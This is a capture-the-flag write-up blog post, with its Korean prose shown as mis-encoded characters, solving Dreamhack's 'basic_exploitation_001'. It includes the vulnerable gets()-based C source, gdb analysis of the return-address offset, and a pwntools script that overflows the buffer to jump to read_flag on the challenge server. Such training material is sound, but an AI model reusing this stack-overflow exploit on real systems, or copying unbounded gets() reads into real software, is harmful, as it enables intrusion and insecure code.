๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ
[Dreamhack]SystemHacking/๋กœ๋“œ๋งต_Basic

[Dreamhack] Level1: basic_exploitation_001

by Yun2๐Ÿ‘ 2023. 8. 28.
๋ฐ˜์‘ํ˜•

๐Ÿ›Ž๏ธ Access

์ด ๋ฌธ์ œ๋Š” ์„œ๋ฒ„์—์„œ ์ž‘๋™ํ•˜๊ณ  ์žˆ๋Š” ์„œ๋น„์Šค(basic_exploitation_001)์˜ ๋ฐ”์ด๋„ˆ๋ฆฌ์™€ ์†Œ์Šค ์ฝ”๋“œ๊ฐ€ ์ฃผ์–ด์ง‘๋‹ˆ๋‹ค.
ํ”„๋กœ๊ทธ๋žจ์˜ ์ทจ์•ฝ์ ์„ ์ฐพ๊ณ  ์ต์Šคํ”Œ๋กœ์ž‡ํ•ด “flag” ํŒŒ์ผ์„ ์ฝ์œผ์„ธ์š”.
“flag” ํŒŒ์ผ์˜ ๋‚ด์šฉ์„ ์›Œ๊ฒŒ์ž„ ์‚ฌ์ดํŠธ์— ์ธ์ฆํ•˜๋ฉด ์ ์ˆ˜๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ”Œ๋ž˜๊ทธ์˜ ํ˜•์‹์€ DH{…} ์ž…๋‹ˆ๋‹ค.

 

 

 

๐Ÿ‘พ Exploit Algorithm & Payload

๋”๋ณด๊ธฐ

#basic_exploitation_001.c

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    gets(buf);

    return 0;
}

 #Environment

Ubuntu 16.04
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

 

 

#1


$ checksec --file basic_exploitation_001
$ readelf -h basic_exploitation_001

: ๋ณดํ˜ธ ๊ธฐ๋ฒ•๊ณผ, ELF ํฌ๋งท์„ ๋ถ„์„ํ•˜๊ธฐ ์œ„ํ•ด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ฝ”๋“œ๋ฅผ ์‚ฌ์šฉํ•œ๋‹ค.

: ์œ ์‚ฌ wargame์ธ 'basic_exploitation_000' ๊ณผ ๋‹ค๋ฅธ ์ ์€ nx bit๊ฐ€ ์กด์žฌํ•œ๋‹ค๋Š” ์ ์ด๋‹ค.

(-> shellcode ์‚ฝ์ž… ๋ถˆ๊ฐ€)

(32bit ๋ฆฌํ‹€์—”๋””์–ธ, relro ์—†์Œ, ์นด๋‚˜๋ฆฌ ์—†์Œ, pie ์—†์Œ)

 

 

#2


 : ์Šคํƒ์˜ ๊ธฐ๋ณธ ๋ฉ”๋ชจ๋ฆฌ ๊ตฌ์กฐ์—์„œ 32bit์—์„œ๋Š” Buffer + SFP[4byte] + RET[4byte]์ด๋‹ค.

: buf[0x80] (128byte)๋งŒํผ ์ฃผ์†Œ๊ฐ€ ํ• ๋‹น๋˜๋Š”๋ฐ ์—ฌ๊ธฐ์„œ getsํ•จ์ˆ˜๋กœ buf ๋ฐฐ์—ด์— ์ž…๋ ฅ์„ ์ €์žฅํ•จ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

(128byte+4byte=132byteํ›„์— RET์ฃผ์†Œ)

: ํ•˜์ง€๋งŒ gets๋Š” ์ž…๋ ฅ ๊ฐ’์— ๋Œ€ํ•œ ์ œํ•œ์ด ์—†๊ธฐ ๋•Œ๋ฌธ์— BOF(Buffer OverFlow)์ทจ์•ฝ์ ์ด ๋ฐœ์ƒํ•œ๋‹ค๋Š” ๊ฒƒ์„ ํŒŒ์•…ํ•  ์ˆ˜ ์žˆ๋‹ค.

 

'a' 131๋ฒˆ ์ž…๋ ฅ
'a' 131๋ฒˆ ์ž…๋ ฅ ๊ฒฐ๊ณผ ret์˜ ์ฃผ์†Œ
'a' 132๋ฒˆ ์ž…๋ ฅ (core dump)
'a' 132๋ฒˆ ์ž…๋ ฅ ๊ฒฐ๊ณผ ret์˜ ์ฃผ์†Œ ๋ณ€ํ™”

๋”๋ณด๊ธฐ
$ gdb basic_exploitation_001
pwndbg> info func
pwndbg> print read_flag 
#$1 = {<text variable, no debug info>} 0x80485b9 <read_flag>

pwndbg> disassemble main
# 0x080485db <+15>: call 0x80483d0 <gets@plt>
# 0x080485e0 <+20>: add esp,0x4
# ...
# 0x080485e9 <+29>: ret


pwndbg> b *main+20
Breakpoint 1 at 0x80485e0


pwndbg> b *main+29
Breakpoint 2 at 0x80485e9


pwndbg> r aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
#'a' 131


pwndbg> c
Continuing.
# ni , finish, ...

pwndbg> r aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
# 'a' 132
# ni , finish, ...

: ์ด๋ ‡๋“ฏ gdb ๋””๋ฒ„๊น…์„ ํ†ตํ•ด์„œ๋„ BOF ์ทจ์•ฝ์ ์„ ๋ฉ”๋ชจ๋ฆฌ๋กœ ๋ถ„์„ํ•  ์ˆ˜ ์žˆ๋‹ค.

 

 

๐Ÿ”‘Analysis and results for obtaining the Flag DH{…}


๋”๋ณด๊ธฐ

from pwn import *

r = remote("host3.dreamhack.games", 19695)

read_flag = 0x80485b9

payload = b"\x61"*132
payload += p32(read_flag)

r.sendline(payload)
r.interactive()

: ์ฝ”๋“œ์—์„œ๋Š” read_flag ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•˜์ง€ ์•Š์ง€๋งŒ ์žˆ๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ์—ˆ๊ธฐ์— read_flag์˜ ์ฃผ์†Œ๋ฅผ ์•Œ์•„๋‚ธ ํ›„, ๋ฆฌํ„ด์ฃผ์†Œ(RET)์— read_flag ์ฃผ์†Œ๋กœ ๋ณ€๊ฒฝํ•˜๊ฒŒ ๋˜๋ฉด ๊ฐ’์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

(pwndbg> print read_flag #$1 = {<text variable, no debug info>} 0x80485b9 <read_flag>)

: python pwd๋ฅผ ์ด์šฉํ•˜์—ฌ ํ”Œ๋ž˜๊ทธ๋ฅผ ํ™•๋“ํ•  ์ˆ˜ ์žˆ๋‹ค.

 

 

 

๐Ÿ“Œ Summary


BOF๋Š” ๋ฒ„ํผ๊ฐ€ ๋„˜์น  ์ˆ˜ ์žˆ๋Š” ์ฝ”๋“œ๋ฅผ ํŠนํžˆ ์ฃผ์˜ํ•ด์•ผํ•œ๋‹ค.

 

| BOF์— ์ทจ์•ฝํ•œ ํ•จ์ˆ˜ |

: ์ฒ˜๋ฆฌํ•˜๋Š” ๋ฌธ์ž์—ด์˜ ์ตœ๋Œ€ ํฌ๊ธฐ๋ฅผ ์ •ํ•˜์ง€ ์•Š๋Š” ํ•จ์ˆ˜

 

• strcpy

strcat

gets

fscanf

sprintf

vfscanf

vsprintf

vscanf

vsscanf

streadd

streadd

strecpy

strtms

 
๋ฐ˜์‘ํ˜•

'[Dreamhack]SystemHacking > ๋กœ๋“œ๋งต_Basic' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

[Dreamhack] Level1: Return to Shellcode  (0) 2023.08.30
[Dreamhack] Level2: basic_exploitation_000  (0) 2023.08.25
[Dreamhack] Level2: shell_basic  (0) 2023.08.22
[Dreamhack] Level1: Return Address Overwrite  (0) 2023.08.18